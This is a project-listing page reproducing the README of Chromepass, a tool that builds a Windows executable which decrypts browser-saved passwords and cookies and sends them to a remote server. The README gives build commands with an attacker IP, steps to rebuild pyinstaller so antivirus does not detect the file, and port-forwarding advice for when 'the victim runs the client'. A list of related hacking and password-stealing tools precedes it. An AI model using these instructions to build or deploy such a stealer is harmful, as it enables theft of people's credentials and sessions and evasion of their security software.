All Projects → darkarp → Chromepass

darkarp / Chromepass

Licence: agpl-3.0
Chromepass - Hacking Chrome Saved Passwords

Programming Languages

python
139335 projects - #7 most used programming language
hack
652 projects

Projects that are alternatives of or similar to Chromepass

Wifi Passview
An open source batch script based WiFi Passview for Windows!
Stars: ✭ 157 (-56.87%)
Mutual labels:  hacking, hacking-tool, password
Bopscrk
Tool to generate smart and powerful wordlists
Stars: ✭ 273 (-25%)
Mutual labels:  hacking, hacking-tool, password
Thc Archive
All releases of the security research group (a.k.a. hackers) The Hacker's Choice
Stars: ✭ 474 (+30.22%)
Mutual labels:  hacks, hacking, hacking-tool
Wifipassword Stealer
Get All Registered Wifi Passwords from Target Computer.
Stars: ✭ 97 (-73.35%)
Mutual labels:  hacking, hacking-tool, password
Hack Tools
hack tools
Stars: ✭ 488 (+34.07%)
Mutual labels:  hacks, hacking, hacking-tool
Ethical Hacking Tools
Complete Listing and Usage of Tools used for Ethical Hacking
Stars: ✭ 272 (-25.27%)
Mutual labels:  hacking, hacking-tool
Osmedeus
Fully automated offensive security framework for reconnaissance and vulnerability scanning
Stars: ✭ 3,391 (+831.59%)
Mutual labels:  hacking, hacking-tool
Pwned
An easy, Ruby way to use the Pwned Passwords API.
Stars: ✭ 290 (-20.33%)
Mutual labels:  password, passwords
Quack
Quack Toolkit is a set of tools to provide denial of service attacks. Quack Toolkit includes SMS attack tool, HTTP attack tool and many other attack tools.
Stars: ✭ 305 (-16.21%)
Mutual labels:  hacking, hacking-tool
CockyGrabber
C# library for the collection of browser information such as cookies, logins, and more
Stars: ✭ 46 (-87.36%)
Mutual labels:  cookies, password
Cheatsheet God
Penetration Testing Reference Bank - OSCP / PTP & PTX Cheatsheet
Stars: ✭ 3,521 (+867.31%)
Mutual labels:  hacking, hacking-tool
K8tools
K8工具合集(内网渗透/提权工具/远程溢出/漏洞利用/扫描工具/密码破解/免杀工具/Exploit/APT/0day/Shellcode/Payload/priviledge/BypassUAC/OverFlow/WebShell/PenTest) Web GetShell Exploit(Struts2/Zimbra/Weblogic/Tomcat/Apache/Jboss/DotNetNuke/zabbix)
Stars: ✭ 4,173 (+1046.43%)
Mutual labels:  hacking, password
Xbruteforcer
X Brute Forcer Tool 🔓 WordPress , Joomla , DruPal , OpenCart , Magento
Stars: ✭ 261 (-28.3%)
Mutual labels:  password, passwords
Adamantium Thief
🔑 Decrypt chromium based browsers passwords, cookies, credit cards, history, bookmarks, autofill. Version > 80 is supported.
Stars: ✭ 283 (-22.25%)
Mutual labels:  cookies, passwords
laravel-pwned-passwords
Simple Laravel validation rule that allows you to prevent or limit the re-use of passwords that are known to be pwned (unsafe). Based on TroyHunt's Have I Been Pwned (https://haveibeenpwned.com)
Stars: ✭ 67 (-81.59%)
Mutual labels:  password, passwords
Windows Post Exploitation
Windows post-exploitation tools, resources, techniques and commands to use during post-exploitation phase of penetration test. Contributions are appreciated. Enjoy!
Stars: ✭ 296 (-18.68%)
Mutual labels:  hacking, hacking-tool
Katana
A Python Tool For google Hacking
Stars: ✭ 355 (-2.47%)
Mutual labels:  hacking, hacking-tool
Awesome Hacking Lists
平常看到好的渗透hacking工具和多领域效率工具的集合
Stars: ✭ 311 (-14.56%)
Mutual labels:  hacking, hacking-tool
Anymethodlog
Log any method call of object in Objective-C
Stars: ✭ 361 (-0.82%)
Mutual labels:  hacking, hacking-tool
Vault
swiss army knife for hackers
Stars: ✭ 346 (-4.95%)
Mutual labels:  hacking, hacking-tool

Chromepass - Hacking Chrome Saved Passwords and Cookies

Release Build Status on CircleCI Scrutinizer code quality (GitHub/Bitbucket) GitHub issues GitHub closed issues View Demo · Report Bug · Request Feature

Table of Contents


About The project

Chromepass is a python-based console application that generates a windows executable with the following features:

  • Decrypt Google Chrome, Chromium, Edge, Brave, Opera and Vivaldi saved paswords and cookies
  • Send a file with the login/password combinations and cookies remotely (http server)
  • Undetectable by AV if done correctly
  • Custom icon
  • Custom error message
  • Customize port

AV Detection!

This can be undetected with a very easy step, detailed below. It is detected mainly because many AVs get tripped by the popular signatures of pyinstaller. To mitigate this, you can build the bootloaders manually. You can do this on a clean VM if you wish:

  • Go through the Installation first
  • Open an administrator powershell
  • Run the following code and wait for it to finish, it might take a while:
Set-ExecutionPolicy remotesigned -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')); choco install -y python vcbuildtools git
  • Close the powershell window and open a new one as administrator again.
  • Go into the chromepass directory, if you're not in it already.
  • Run the following code:
   git clone https://github.com/pyinstaller/pyinstaller.git
   pip uninstall pyinstaller -y
   cd pyinstaller/bootloader
   python waf all
   cd ..
   pip install .
  • Now you can follow the Usage normally and your executable is no longer detected by most AVs. There are some additional things you can do to make it completely undetectable. I'll leave you to discover what some of those things are.

Getting started

Dependencies and Requirements

This is a very simple application, which uses only:

  • Python - Tested on python 3.6+

Optionally, you may want to run all python commands inside a python virtual environment. For more information, check Virtual Environment Guide

Installation

Chromepass requires Windows to run! Support for linux and macOS may be added soon

Clone the repository:

git clone https://github.com/darkarp/chromepass

Install the dependencies:

cd chromepass
pip install -r requirements.txt

If any errors occur make sure you're running on the proper environment (if applcable) and that you have python 3.6+ If the errors persist, try:

python -m pip install --upgrade pip
python -m pip install -r requirements.txt

Usage

Chromepass is very straightforward. Start by running:

python create.py -h

A list of options will appear and are self explanatory.

Running without any parameters will build the server and the client connecting to 127.0.0.1.

A simple example of a build:

python create.py --ip 92.34.11.220 --error --message "An Error has happened"

After creating the server and the client, make sure you're running the server when the client is ran.

The cookies and passwords will be saved in json files on a new folder called data in the same directory as the server, separated by ip address.

If you'd like additional notes on evading AV, refer to AV Detection

Remote Notes

If you'd like to use this in a remote scenario, you must also perform port forwarding (port 80 by default), so that when the victim runs the client it is able to connect to the server on the correct port.
For more general information, click here. If you're still not satisfied, perform a google search.


Virtual Environment Guide

Virtual environments are essentially local, isolated, python installations with its own set of libraries, that you can activate or deactivate at any time, so as to not interfere with other python configurations.

To create a virtual environment you may use a package manager, such as conda (through miniconda or anaconda), or you may do so with the built-in python module venv.

As an example, this creates a virtual environment called chromepass_env

python -m venv chromepass_env

You should now have a folder with this name. To activate this environment:

  • Windows Powershell
    .\chromepass_env\Scripts\Activate.ps1
    
  • Linux
    source chromepass_env/bin/activate
    

You should now see this name inside parenthesis on the left side of your powershell prompt, before the current working path.

Every python command and installation command you perform will be done inside this environment. To deactivate it:

deactivate

When using a virtual environment, remember that every time you open a new powershell window, the environment needs to be activated again, if you wish to use it.

Using a virtual environment is not necessary, though it is recommended if you deal with many python projects, as a tool to better organize them.


Errors, Bugs and feature requests

If you find an error or a bug, please report it as an issue. If you wish to suggest a feature or an improvement please report it in the issue pages.

Please follow the templates shown when creating the issue.


Learn More

For access to a community full of aspiring computer security experts, ranging from the complete beginner to the seasoned veteran, join our Discord Server: WhiteHat Hacking

If you wish to contact me, you can do so via: [email protected]


Disclaimer

I am not responsible for what you do with the information and code provided. This is intended for professional or educational purposes only.

License

AGPL-3.0


Code Intelligence Status

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].